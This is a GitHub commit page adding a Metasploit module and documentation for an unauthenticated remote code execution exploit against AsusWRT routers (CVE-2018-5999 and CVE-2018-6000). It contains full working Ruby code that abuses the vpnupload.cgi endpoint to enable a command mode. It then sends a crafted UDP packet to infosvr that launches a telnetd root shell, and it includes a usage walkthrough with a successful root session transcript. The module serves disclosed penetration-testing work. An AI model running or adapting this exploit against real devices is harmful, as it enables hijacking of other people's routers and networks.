Skip to content

Commit 4b8a8fa

Browse files
committed
Land rapid7#9441, Create exploit for AsusWRT LAN RCE
Merge branch 'land-9441' into upstream-master
2 parents 738d6ab + f89cebb commit 4b8a8fa

File tree

2 files changed

+202
-0
lines changed

2 files changed

+202
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Description
2+
3+
This module exploits a vulnerability in AsusWRT to execute arbitrary commands as `root`.
4+
5+
6+
## Vulnerable Application
7+
8+
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a HTTP `POST` in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the `POST` request to enable a special command mode.
9+
10+
This command mode can then be abused by sending a UDP packet to the infosvr service, which is running on port UDP 9999 on the LAN interface, to launch the Telnet daemon on a random port and gain an interactive remote shell as the `root` user.
11+
12+
This module was tested successfully with a RT-AC68U running AsusWRT version 3.0.0.4.380.7743.
13+
14+
Numerous ASUS models are reportedly affected, but untested.
15+
16+
17+
## Verification Steps
18+
19+
1. Start `msfconsole`
20+
2. `use exploits/linux/http/asuswrt_lan_rce`
21+
3. `set RHOST [IP]`
22+
4. `run`
23+
5. You should get a *root* session
24+
25+
26+
## Options
27+
28+
**ASUSWRTPORT**
29+
30+
AsusWRT HTTP portal port (default: `80`)
31+
32+
33+
## Scenarios
34+
msf > use exploit/linux/http/asuswrt_lan_rce
35+
msf exploit(linux/http/asuswrt_lan_rce) > set rhost 192.168.132.205
36+
rhost => 192.168.132.205
37+
msf exploit(linux/http/asuswrt_lan_rce) > run
38+
39+
[+] 192.168.132.205:9999 - Successfully set the ateCommand_flag variable.
40+
[*] 192.168.132.205:9999 - Packet sent, let's sleep 10 seconds and try to connect to the router on port 51332
41+
[+] 192.168.132.205:9999 - Success, shell incoming!
42+
[*] Found shell.
43+
[*] Command shell session 1 opened (192.168.135.111:36597 -> 192.168.132.205:51332) at 2018-01-25 14:51:12 -0600
44+
45+
id
46+
id
47+
/bin/sh: id: not found
48+
/ # cat /proc/cpuinfo
49+
cat /proc/cpuinfo
50+
system type : Broadcom BCM53572 chip rev 1 pkg 8
51+
processor : 0
52+
cpu model : MIPS 74K V4.9
53+
BogoMIPS : 149.91
54+
wait instruction : no
55+
microsecond timers : yes
56+
tlb_entries : 32
57+
extra interrupt vector : no
58+
hardware watchpoint : yes
59+
ASEs implemented : mips16 dsp
60+
shadow register sets : 1
61+
VCED exceptions : not available
62+
VCEI exceptions : not available
63+
64+
unaligned_instructions : 0
65+
dcache hits : 2147483648
66+
dcache misses : 0
67+
icache hits : 2147483648
68+
icache misses : 0
69+
instructions : 2147483648
70+
/ #
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::Udp
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
15+
'Description' => %q{
16+
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
17+
perform a POST in certain cases. This can be combined with another vulnerability in
18+
the VPN configuration upload routine that sets NVRAM configuration variables directly
19+
from the POST request to enable a special command mode.
20+
This command mode can then be abused by sending a UDP packet to infosvr, which is running
21+
on port UDP 9999 to directly execute commands as root.
22+
This exploit leverages that to start telnetd in a random port, and then connects to it.
23+
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
24+
},
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
33+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
34+
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
35+
['CVE', '2018-5999'],
36+
['CVE', '2018-6000']
37+
],
38+
'Targets' =>
39+
[
40+
[ 'AsusWRT < v3.0.0.4.384.10007',
41+
{
42+
'Payload' =>
43+
{
44+
'Compat' => {
45+
'PayloadType' => 'cmd_interact',
46+
'ConnectionType' => 'find',
47+
},
48+
},
49+
}
50+
],
51+
],
52+
'Privileged' => true,
53+
'Platform' => 'unix',
54+
'Arch' => ARCH_CMD,
55+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
56+
'DisclosureDate' => 'Jan 22 2018',
57+
'DefaultTarget' => 0))
58+
register_options(
59+
[
60+
Opt::RPORT(9999)
61+
])
62+
63+
register_advanced_options(
64+
[
65+
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
66+
])
67+
end
68+
69+
def exploit
70+
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
71+
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
72+
post_data = Rex::MIME::Message.new
73+
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
74+
75+
data = post_data.to_s
76+
77+
res = send_request_cgi({
78+
'uri' => "/vpnupload.cgi",
79+
'method' => 'POST',
80+
'rport' => datastore['ASUSWRTPORT'],
81+
'data' => data,
82+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
83+
})
84+
85+
if res and res.code == 200
86+
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
87+
else
88+
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
89+
end
90+
91+
92+
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
93+
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
94+
r = Random.new
95+
96+
ibox_comm_pkt_hdr_ex =
97+
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
98+
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
99+
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
100+
r.bytes(4) + # Info, don't know what this is
101+
r.bytes(6) + # MAC address
102+
r.bytes(32) # Password
103+
104+
telnet_port = rand((2**16)-1024)+1024
105+
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
106+
pkt_syscmd =
107+
[cmd.length,0x00].pack('C*') + # cmd length
108+
cmd # our command
109+
110+
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
111+
112+
connect_udp
113+
udp_sock.put(pkt_final) # we could process the response, but we don't care
114+
disconnect_udp
115+
116+
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
117+
sleep(10)
118+
119+
begin
120+
ctx = { 'Msf' => framework, 'MsfExploit' => self }
121+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
122+
if not sock.nil?
123+
print_good("#{peer} - Success, shell incoming!")
124+
return handler(sock)
125+
end
126+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
127+
sock.close if sock
128+
end
129+
130+
print_bad("#{peer} - Well that didn't work... try again?")
131+
end
132+
end

0 commit comments

Comments
 (0)